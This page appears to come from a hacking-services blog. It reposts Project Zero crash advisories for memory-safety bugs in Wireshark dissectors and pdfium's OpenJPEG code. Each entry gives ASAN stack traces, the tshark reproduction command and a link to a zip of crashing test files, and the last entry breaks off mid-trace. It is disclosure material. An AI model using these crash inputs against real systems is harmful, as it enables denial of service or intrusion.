Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863221147

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=695

The following crash due to a static out-of-bounds read can be observed in an ASAN build of Wireshark (current git master), by feeding a malformed file to tshark ("$ ./tshark -nVxr /path/to/file"):

--- cut ---
==24377==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7f7a3ce4efe0 at pc 0x7f7a39a5a121 bp 0x7ffe1fcb92e0 sp 0x7ffe1fcb92d8
READ of size 4 at 0x7f7a3ce4efe0 thread T0
    #0 0x7f7a39a5a120 in hiqnet_display_data wireshark/epan/dissectors/packet-hiqnet.c:523:15
    #1 0x7f7a39a59354 in dissect_hiqnet_pdu wireshark/epan/dissectors/packet-hiqnet.c:906:34
    #2 0x7f7a39a560b7 in dissect_hiqnet_udp wireshark/epan/dissectors/packet-hiqnet.c:1031:9
    #3 0x7f7a38ab14a1 in call_dissector_through_handle wireshark/epan/packet.c:619:8
    #4 0x7f7a38aa3e2a in call_dissector_work wireshark/epan/packet.c:694:9
    #5 0x7f7a38aa35fd in dissector_try_uint_new wireshark/epan/packet.c:1151:9
    #6 0x7f7a38aa41a4 in dissector_try_uint wireshark/epan/packet.c:1177:9
    #7 0x7f7a3abc065d in decode_udp_ports wireshark/epan/dissectors/packet-udp.c:536:7
    #8 0x7f7a3abce912 in dissect wireshark/epan/dissectors/packet-udp.c:1031:5
    #9 0x7f7a3abc31a0 in dissect_udplite wireshark/epan/dissectors/packet-udp.c:1044:3
    #10 0x7f7a38ab14a1 in call_dissector_through_handle wireshark/epan/packet.c:619:8
    #11 0x7f7a38aa3e2a in call_dissector_work wireshark/epan/packet.c:694:9
    #12 0x7f7a38aa35fd in dissector_try_uint_new wireshark/epan/packet.c:1151:9
    #13 0x7f7a39beae0b in ip_try_dissect wireshark/epan/dissectors/packet-ip.c:1976:7
    #14 0x7f7a39bf5a21 in dissect_ip_v4 wireshark/epan/dissectors/packet-ip.c:2468:10
    #15 0x7f7a39beb569 in dissect_ip wireshark/epan/dissectors/packet-ip.c:2491:5
    #16 0x7f7a38ab14a1 in call_dissector_through_handle wireshark/epan/packet.c:619:8
    #17 0x7f7a38aa3e2a in call_dissector_work wireshark/epan/packet.c:694:9
    #18 0x7f7a38aa35fd in dissector_try_uint_new wireshark/epan/packet.c:1151:9
    #19 0x7f7a38aa41a4 in dissector_try_uint wireshark/epan/packet.c:1177:9
    #20 0x7f7a3a3d1830 in dissect_ppp_common wireshark/epan/dissectors/packet-ppp.c:4346:10
    #21 0x7f7a3a3d0fec in dissect_ppp_hdlc_common wireshark/epan/dissectors/packet-ppp.c:5339:5
    #22 0x7f7a3a3c92a5 in dissect_ppp_hdlc wireshark/epan/dissectors/packet-ppp.c:5380:5
    #23 0x7f7a38ab14a1 in call_dissector_through_handle wireshark/epan/packet.c:619:8
    #24 0x7f7a38aa3e2a in call_dissector_work wireshark/epan/packet.c:694:9
    #25 0x7f7a38aa35fd in dissector_try_uint_new wireshark/epan/packet.c:1151:9
    #26 0x7f7a397e00d3 in dissect_frame wireshark/epan/dissectors/packet-frame.c:491:11
    #27 0x7f7a38ab14a1 in call_dissector_through_handle wireshark/epan/packet.c:619:8
    #28 0x7f7a38aa3e2a in call_dissector_work wireshark/epan/packet.c:694:9
    #29 0x7f7a38aad96e in call_dissector_only wireshark/epan/packet.c:2665:8
    #30 0x7f7a38a9f3df in call_dissector_with_data wireshark/epan/packet.c:2678:8
    #31 0x7f7a38a9ea2b in dissect_record wireshark/epan/packet.c:502:3
    #32 0x7f7a38a4f9b9 in epan_dissect_run_with_taps wireshark/epan/epan.c:376:2
    #33 0x52856b in process_packet wireshark/tshark.c:3728:5
    #34 0x5219e0 in load_cap_file wireshark/tshark.c:3484:11
    #35 0x517e2c in main wireshark/tshark.c:2197:13

0x7f7a3ce4efe0 is located 32 bytes to the left of global variable '' defined in 'packet-hiqnet.c' (0x7f7a3ce4f000) of size 16
  '' is ascii string 'packet-hiqnet.c'
0x7f7a3ce4efe0 is located 16 bytes to the right of global variable 'hiqnet_datasize_per_type' defined in 'packet-hiqnet.c:282:19' (0x7f7a3ce4efa0) of size 48
SUMMARY: AddressSanitizer: global-buffer-overflow wireshark/epan/dissectors/packet-hiqnet.c:523:15 in hiqnet_display_data
Shadow bytes around the buggy address:
  0x0fefc79c1da0: f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
  0x0fefc79c1db0: f9 f9 f9 f9 00 02 f9 f9 f9 f9 f9 f9 00 05 f9 f9
  0x0fefc79c1dc0: f9 f9 f9 f9 00 02 f9 f9 f9 f9 f9 f9 00 00 f9 f9
  0x0fefc79c1dd0: f9 f9 f9 f9 06 f9 f9 f9 f9 f9 f9 f9 07 f9 f9 f9
  0x0fefc79c1de0: f9 f9 f9 f9 00 02 f9 f9 f9 f9 f9 f9 00 04 f9 f9
=>0x0fefc79c1df0: f9 f9 f9 f9 00 00 00 00 00 00 f9 f9[f9]f9 f9 f9
  0x0fefc79c1e00: 00 00 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
  0x0fefc79c1e10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fefc79c1e20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fefc79c1e30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fefc79c1e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
--- cut ---

The crash was reported at https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=11983. Attached are three files which trigger the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39325.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=696

The following crash due to a stack-based buffer overflow can be observed in an ASAN build of Wireshark (current git master), by feeding a malformed file to tshark ("$ ./tshark -nVxr /path/to/file"):

--- cut ---
==24710==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffe68161a6c at pc 0x0000004ab766 bp 0x7ffe681503f0 sp 0x7ffe6814fba0
WRITE of size 120 at 0x7ffe68161a6c thread T0
    #0 0x4ab765 in __asan_memcpy llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:393
    #1 0x7ff89a5f89ec in tvb_memcpy wireshark/epan/tvbuff.c:783:10
    #2 0x7ff89b7ba95c in dissect_nhdr_extopt wireshark/epan/dissectors/packet-lbmc.c:10013:13
    #3 0x7ff89b7a1a54 in lbmc_dissect_lbmc_packet wireshark/epan/dissectors/packet-lbmc.c:11039:41
    #4 0x7ff89b82ece9 in dissect_lbttcp_pdu wireshark/epan/dissectors/packet-lbttcp.c:620:21
    #5 0x7ff89c4a5254 in tcp_dissect_pdus wireshark/epan/dissectors/packet-tcp.c:2762:13
    #6 0x7ff89b82c7dc in dissect_lbttcp_real wireshark/epan/dissectors/packet-lbttcp.c:642:5
    #7 0x7ff89b82ad4e in test_lbttcp_packet wireshark/epan/dissectors/packet-lbttcp.c:698:5
    #8 0x7ff89a4b1c57 in dissector_try_heuristic wireshark/epan/packet.c:2332:7
    #9 0x7ff89c4a6de0 in decode_tcp_ports wireshark/epan/dissectors/packet-tcp.c:4644:13
    #10 0x7ff89c4ac5e3 in process_tcp_payload wireshark/epan/dissectors/packet-tcp.c:4690:13
    #11 0x7ff89c4a765b in dissect_tcp_payload wireshark/epan/dissectors/packet-tcp.c:4771:9
    #12 0x7ff89c4bc7f0 in dissect_tcp wireshark/epan/dissectors/packet-tcp.c:5623:13
    #13 0x7ff89a4b74a1 in call_dissector_through_handle wireshark/epan/packet.c:619:8
    #14 0x7ff89a4a9e2a in call_dissector_work wireshark/epan/packet.c:694:9
    #15 0x7ff89a4a95fd in dissector_try_uint_new wireshark/epan/packet.c:1151:9
    #16 0x7ff89b5f0e0b in ip_try_dissect wireshark/epan/dissectors/packet-ip.c:1976:7
    #17 0x7ff89b5fba21 in dissect_ip_v4 wireshark/epan/dissectors/packet-ip.c:2468:10
    #18 0x7ff89b5f1569 in dissect_ip wireshark/epan/dissectors/packet-ip.c:2491:5
    #19 0x7ff89a4b74a1 in call_dissector_through_handle wireshark/epan/packet.c:619:8
    #20 0x7ff89a4a9e2a in call_dissector_work wireshark/epan/packet.c:694:9
    #21 0x7ff89a4a95fd in dissector_try_uint_new wireshark/epan/packet.c:1151:9
    #22 0x7ff89a4aa1a4 in dissector_try_uint wireshark/epan/packet.c:1177:9
    #23 0x7ff89bdd7830 in dissect_ppp_common wireshark/epan/dissectors/packet-ppp.c:4346:10
    #24 0x7ff89bdd6fec in dissect_ppp_hdlc_common wireshark/epan/dissectors/packet-ppp.c:5339:5
    #25 0x7ff89bdcf2a5 in dissect_ppp_hdlc wireshark/epan/dissectors/packet-ppp.c:5380:5
    #26 0x7ff89a4b74a1 in call_dissector_through_handle wireshark/epan/packet.c:619:8
    #27 0x7ff89a4a9e2a in call_dissector_work wireshark/epan/packet.c:694:9
    #28 0x7ff89a4a95fd in dissector_try_uint_new wireshark/epan/packet.c:1151:9
    #29 0x7ff89b1e60d3 in dissect_frame wireshark/epan/dissectors/packet-frame.c:491:11
    #30 0x7ff89a4b74a1 in call_dissector_through_handle wireshark/epan/packet.c:619:8
    #31 0x7ff89a4a9e2a in call_dissector_work wireshark/epan/packet.c:694:9
    #32 0x7ff89a4b396e in call_dissector_only wireshark/epan/packet.c:2665:8
    #33 0x7ff89a4a53df in call_dissector_with_data wireshark/epan/packet.c:2678:8
    #34 0x7ff89a4a4a2b in dissect_record wireshark/epan/packet.c:502:3
    #35 0x7ff89a4559b9 in epan_dissect_run_with_taps wireshark/epan/epan.c:376:2
    #36 0x52856b in process_packet wireshark/tshark.c:3728:5
    #37 0x5219e0 in load_cap_file wireshark/tshark.c:3484:11
    #38 0x517e2c in main wireshark/tshark.c:2197:13

Address 0x7ffe68161a6c is located in stack of thread T0 at offset 65644 in frame
    #0 0x7ff89b79d1ff in lbmc_dissect_lbmc_packet wireshark/epan/dissectors/packet-lbmc.c:10597

  This frame has 17 object(s):
    [32, 36) 'bhdr'
    [48, 52) 'msgprop_len'
    [64, 80) 'frag_info'
    [96, 65644) 'reassembly' <== Memory access at offset 65644 overflows this variable
    [65904, 65908) 'data_is_umq_cmd_resp'
    [65920, 65940) 'stream_info'
    [65984, 65996) 'ctxinstd_info'
    [66016, 66028) 'ctxinstr_info'
    [66048, 66120) 'destination_info'
    [66160, 66416) 'found_header'
    [66480, 66584) 'uim_stream_info'
    [66624, 66632) 'tcp_sid_info'
    [66656, 66672) 'tcp_addr'
    [66688, 66692) 'tcp_session_id'
    [66704, 66712) 'hdtbl_entry'
    [66736, 66740) 'encoding'
    [66752, 66756) 'pdmlen'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:393 in __asan_memcpy
Shadow bytes around the buggy address:
  0x10004d0242f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004d024300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004d024310: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004d024320: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10004d024330: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10004d024340: 00 00 00 00 00 00 00 00 00 00 00 00 00[04]f2 f2
  0x10004d024350: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x10004d024360: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 04 f2
  0x10004d024370: 00 00 04 f2 f2 f2 f2 f2 00 04 f2 f2 00 04 f2 f2
  0x10004d024380: 00 00 00 00 00 00 00 00 00 f2 f2 f2 f2 f2 00 00
  0x10004d024390: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==24710==ABORTING
--- cut ---

The crash was reported at https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=11984. Attached are two files which trigger the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39324.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=697

The following crash due to a stack-based buffer overflow can be observed in an ASAN build of Wireshark (current git master), by feeding a malformed file to tshark ("$ ./tshark -nVxr /path/to/file"):

--- cut ---
==25088==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffdbb9f36e at pc 0x7f26c4ae2af4 bp 0x7fffdbb9f190 sp 0x7fffdbb9f188
READ of size 1 at 0x7fffdbb9f36e thread T0
    #0 0x7f26c4ae2af3 in ascii_strup_inplace wireshark/wsutil/str_util.c:71:16
    #1 0x7f26d8893b1c in iseries_check_file_type wireshark/wiretap/iseries.c:336:9
    #2 0x7f26d8892a63 in iseries_open wireshark/wiretap/iseries.c:231:14
    #3 0x7f26d8864c51 in wtap_open_offline wireshark/wiretap/file_access.c:1042:13
    #4 0x51dd9d in cf_open wireshark/tshark.c:4195:9
    #5 0x5178cb in main wireshark/tshark.c:2188:9

Address 0x7fffdbb9f36e is located in stack of thread T0 at offset 302 in frame
    #0 0x7f26d88934bf in iseries_check_file_type wireshark/wiretap/iseries.c:306

  This frame has 2 object(s):
    [32, 302) 'buf' <== Memory access at offset 302 overflows this variable
    [368, 377) 'protocol'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow wireshark/wsutil/str_util.c:71:16 in ascii_strup_inplace
Shadow bytes around the buggy address:
  0x10007b76be10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007b76be20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007b76be30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007b76be40: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 00 00 00
  0x10007b76be50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10007b76be60: 00 00 00 00 00 00 00 00 00 00 00 00 00[06]f2 f2
  0x10007b76be70: f2 f2 f2 f2 f2 f2 00 01 f3 f3 f3 f3 00 00 00 00
  0x10007b76be80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007b76be90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10007b76bea0: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
  0x10007b76beb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==25088==ABORTING
--- cut ---

The crash was reported at https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=11985. Attached is a file which triggers the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39323.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=624

The following crash was encountered in pdfium (the Chrome PDF renderer) during PDF fuzzing:

--- cut ---
$ ./pdfium_test asan_heap-oob_91e21c_3386_e3df547c206840ceb03fd7c7ca823e7a 
Rendering PDF file asan_heap-oob_91e21c_3386_e3df547c206840ceb03fd7c7ca823e7a.
Non-linearized path...
=================================================================
==28048==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61200000b400 at pc 0x000000a91f64 bp 0x7fffdebdb0f0 sp 0x7fffdebdb0e8
READ of size 4 at 0x61200000b400 thread T0
    #0 0xa91f63 in opj_j2k_read_mcc third_party/libopenjpeg20/j2k.c:5378:35
    #1 0xa77265 in opj_j2k_read_header_procedure third_party/libopenjpeg20/j2k.c:7213:23
    #2 0xa51e2c in opj_j2k_exec third_party/libopenjpeg20/j2k.c:7286:41
    #3 0xa51467 in opj_j2k_read_header third_party/libopenjpeg20/j2k.c:6764:15
    #4 0xac643f in opj_jp2_read_header third_party/libopenjpeg20/jp2.c:2648:9
    #5 0xa39a8d in opj_read_header third_party/libopenjpeg20/openjpeg.c:391:10
    #6 0x7863ca in CJPX_Decoder::Init(unsigned char const*, unsigned int) core/src/fxcodec/codec/fx_codec_jpx_opj.cpp:729:8
    #7 0x78b63c in CCodec_JpxModule::CreateDecoder(unsigned char const*, unsigned int, bool) core/src/fxcodec/codec/fx_codec_jpx_opj.cpp:866:10
    #8 0xec1c9b in CPDF_DIBSource::LoadJpxBitmap() core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:689:24
    #9 0xeb8296 in CPDF_DIBSource::CreateDecoder() core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:645:5
    #10 0xeb0cf9 in CPDF_DIBSource::StartLoadDIBSource(CPDF_Document*, CPDF_Stream const*, int, CPDF_Dictionary*, CPDF_Dictionary*, int, unsigned int, int) core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:365:13
    #11 0xe8a295 in CPDF_ImageCache::StartGetCachedBitmap(CPDF_Dictionary*, CPDF_Dictionary*, int, unsigned int, int, CPDF_RenderStatus*, int, int) core/src/fpdfapi/fpdf_render/fpdf_render_cache.cpp:308:7
    #12 0xe89a99 in CPDF_PageRenderCache::StartGetCachedBitmap(CPDF_Stream*, int, unsigned int, int, CPDF_RenderStatus*, int, int) core/src/fpdfapi/fpdf_render/fpdf_render_cache.cpp:143:13
    #13 0xed4f7e in CPDF_ProgressiveImageLoaderHandle::Start(CPDF_ImageLoader*, CPDF_ImageObject const*, CPDF_PageRenderCache*, int, unsigned int, int, CPDF_RenderStatus*, int, int) core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:1561:11
    #14 0xed6aaf in CPDF_ImageLoader::StartLoadImage(CPDF_ImageObject const*, CPDF_PageRenderCache*, void*&, int, unsigned int, int, CPDF_RenderStatus*, int, int) core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:1639:17
    #15 0xe96f16 in CPDF_ImageRenderer::StartLoadDIBSource() core/src/fpdfapi/fpdf_render/fpdf_render_image.cpp:337:7
    #16 0xe8db49 in CPDF_ImageRenderer::Start(CPDF_RenderStatus*, CPDF_PageObject const*, CFX_Matrix const*, int, int) core/src/fpdfapi/fpdf_render/fpdf_render_image.cpp:484:7
    #17 0xe67c11 in CPDF_RenderStatus::ContinueSingleObject(CPDF_PageObject const*, CFX_Matrix const*, IFX_Pause*) core/src/fpdfapi/fpdf_render/fpdf_render.cpp:320:10
    #18 0xe76f12 in CPDF_ProgressiveRenderer::Continue(IFX_Pause*) core/src/fpdfapi/fpdf_render/fpdf_render.cpp:1152:13
    #19 0xe756c1 in CPDF_ProgressiveRenderer::Start(IFX_Pause*) core/src/fpdfapi/fpdf_render/fpdf_render.cpp:1090:3
    #20 0x63dbd7 in FPDF_RenderPage_Retail(CRenderContext*, void*, int, int, int, int, int, int, int, IFSDK_PAUSE_Adapter*) fpdfsdk/src/fpdfview.cpp:752:3
    #21 0x63c3af in FPDF_RenderPageBitmap fpdfsdk/src/fpdfview.cpp:507:3
    #22 0x4ee0df in RenderPage(std::string const&, void* const&, void* const&, int, Options const&) samples/pdfium_test.cc:374:3
    #23 0x4f0af8 in RenderPdf(std::string const&, char const*, unsigned long, Options const&) samples/pdfium_test.cc:531:9
    #24 0x4f16e9 in main samples/pdfium_test.cc:608:5

0x61200000b400 is located 0 bytes to the right of 320-byte region [0x61200000b2c0,0x61200000b400)
allocated by thread T0 here:
    #0 0x4be96c in calloc llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:56
    #1 0xa8b0b3 in opj_j2k_read_siz third_party/libopenjpeg20/j2k.c:2262:25
    #2 0xa77265 in opj_j2k_read_header_procedure third_party/libopenjpeg20/j2k.c:7213:23
    #3 0xa51e2c in opj_j2k_exec third_party/libopenjpeg20/j2k.c:7286:41
    #4 0xa51467 in opj_j2k_read_header third_party/libopenjpeg20/j2k.c:6764:15
    #5 0xac643f in opj_jp2_read_header third_party/libopenjpeg20/jp2.c:2648:9
    #6 0xa39a8d in opj_read_header third_party/libopenjpeg20/openjpeg.c:391:10
    #7 0x7863ca in CJPX_Decoder::Init(unsigned char const*, unsigned int) core/src/fxcodec/codec/fx_codec_jpx_opj.cpp:729:8
    #8 0x78b63c in CCodec_JpxModule::CreateDecoder(unsigned char const*, unsigned int, bool) core/src/fxcodec/codec/fx_codec_jpx_opj.cpp:866:10
    #9 0xec1c9b in CPDF_DIBSource::LoadJpxBitmap() core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:689:24
    #10 0xeb8296 in CPDF_DIBSource::CreateDecoder() core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:645:5
    #11 0xeb0cf9 in CPDF_DIBSource::StartLoadDIBSource(CPDF_Document*, CPDF_Stream const*, int, CPDF_Dictionary*, CPDF_Dictionary*, int, unsigned int, int) core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:365:13
    #12 0xe8a295 in CPDF_ImageCache::StartGetCachedBitmap(CPDF_Dictionary*, CPDF_Dictionary*, int, unsigned int, int, CPDF_RenderStatus*, int, int) core/src/fpdfapi/fpdf_render/fpdf_render_cache.cpp:308:7
    #13 0xe89a99 in CPDF_PageRenderCache::StartGetCachedBitmap(CPDF_Stream*, int, unsigned int, int, CPDF_RenderStatus*, int, int) core/src/fpdfapi/fpdf_render/fpdf_render_cache.cpp:143:13
    #14 0xed4f7e in CPDF_ProgressiveImageLoaderHandle::Start(CPDF_ImageLoader*, CPDF_ImageObject const*, CPDF_PageRenderCache*, int, unsigned int, int, CPDF_RenderStatus*, int, int) core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:1561:11
    #15 0xed6aaf in CPDF_ImageLoader::StartLoadImage(CPDF_ImageObject const*, CPDF_PageRenderCache*, void*&, int, unsigned int, int, CPDF_RenderStatus*, int, int) core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:1639:17
    #16 0xe96f16 in CPDF_ImageRenderer::StartLoadDIBSource() core/src/fpdfapi/fpdf_render/fpdf_render_image.cpp:337:7
    #17 0xe8db49 in CPDF_ImageRenderer::Start(CPDF_RenderStatus*, CPDF_PageObject const*, CFX_Matrix const*, int, int) core/src/fpdfapi/fpdf_render/fpdf_render_image.cpp:484:7
    #18 0xe67c11 in CPDF_RenderStatus::ContinueSingleObject(CPDF_PageObject const*, CFX_Matrix const*, IFX_Pause*) core/src/fpdfapi/fpdf_render/fpdf_render.cpp:320:10
    #19 0xe76f12 in CPDF_ProgressiveRenderer::Continue(IFX_Pause*) core/src/fpdfapi/fpdf_render/fpdf_render.cpp:1152:13
    #20 0xe756c1 in CPDF_ProgressiveRenderer::Start(IFX_Pause*) core/src/fpdfapi/fpdf_render/fpdf_render.cpp:1090:3
    #21 0x63dbd7 in FPDF_RenderPage_Retail(CRenderContext*, void*, int, int, int, int, int, int, int, IFSDK_PAUSE_Adapter*) fpdfsdk/src/fpdfview.cpp:752:3
    #22 0x63c3af in FPDF_RenderPageBitmap fpdfsdk/src/fpdfview.cpp:507:3
    #23 0x4ee0df in RenderPage(std::string const&, void* const&, void* const&, int, Options const&) samples/pdfium_test.cc:374:3
    #24 0x4f0af8 in RenderPdf(std::string const&, char const*, unsigned long, Options const&) samples/pdfium_test.cc:531:9
    #25 0x4f16e9 in main samples/pdfium_test.cc:608:5

SUMMARY: AddressSanitizer: heap-buffer-overflow third_party/libopenjpeg20/j2k.c:5378:35 in opj_j2k_read_mcc
Shadow bytes around the buggy address:
  0x0c247fff9630: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff9640: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c247fff9650: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c247fff9660: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c247fff9670: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c247fff9680:[fa]fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c247fff9690: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c247fff96a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c247fff96b0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c247fff96c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c247fff96d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==28048==ABORTING
--- cut ---

The crash was reported at https://code.google.com/p/chromium/issues/detail?id=554129. Attached are two PDF files which trigger the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39322.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=626

The following crash was encountered in pdfium (the Chrome PDF renderer) during PDF fuzzing:

--- cut ---
==9326==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6250001bf680 at pc 0x000000892375 bp 0x7ffca7393ea0 sp 0x7ffca7393e98
READ of size 4 at 0x6250001bf680 thread T0
    #0 0x892374 in opj_jp2_apply_pclr third_party/pdfium/third_party/libopenjpeg20/jp2.c:1018:18
    #1 0x88d536 in opj_jp2_decode third_party/pdfium/third_party/libopenjpeg20/jp2.c:1512:5
    #2 0x8580f6 in opj_decode third_party/pdfium/third_party/libopenjpeg20/openjpeg.c:412:10
    #3 0x5d8c02 in CJPX_Decoder::Init(unsigned char const*, unsigned int) third_party/pdfium/core/src/fxcodec/codec/fx_codec_jpx_opj.cpp:742:11
    #4 0x5dc7d0 in CCodec_JpxModule::CreateDecoder(unsigned char const*, unsigned int, bool) third_party/pdfium/core/src/fxcodec/codec/fx_codec_jpx_opj.cpp:866:10
    #5 0xb9909c in decoder third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:75:36
    #6 0xb9909c in CPDF_DIBSource::LoadJpxBitmap() third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:698
    #7 0xb917d3 in CPDF_DIBSource::CreateDecoder() third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:645:5
    #8 0xb8c8af in CPDF_DIBSource::StartLoadDIBSource(CPDF_Document*, CPDF_Stream const*, int, CPDF_Dictionary*, CPDF_Dictionary*, int, unsigned int, int) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:365:13
    #9 0xb75b33 in CPDF_ImageCache::StartGetCachedBitmap(CPDF_Dictionary*, CPDF_Dictionary*, int, unsigned int, int, CPDF_RenderStatus*, int, int) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_cache.cpp:308:7
    #10 0xb75693 in CPDF_PageRenderCache::StartGetCachedBitmap(CPDF_Stream*, int, unsigned int, int, CPDF_RenderStatus*, int, int) third_party/pdfium/core/src/fpdfapi/fpdf_render/fpdf_render_cache.cpp:143:13
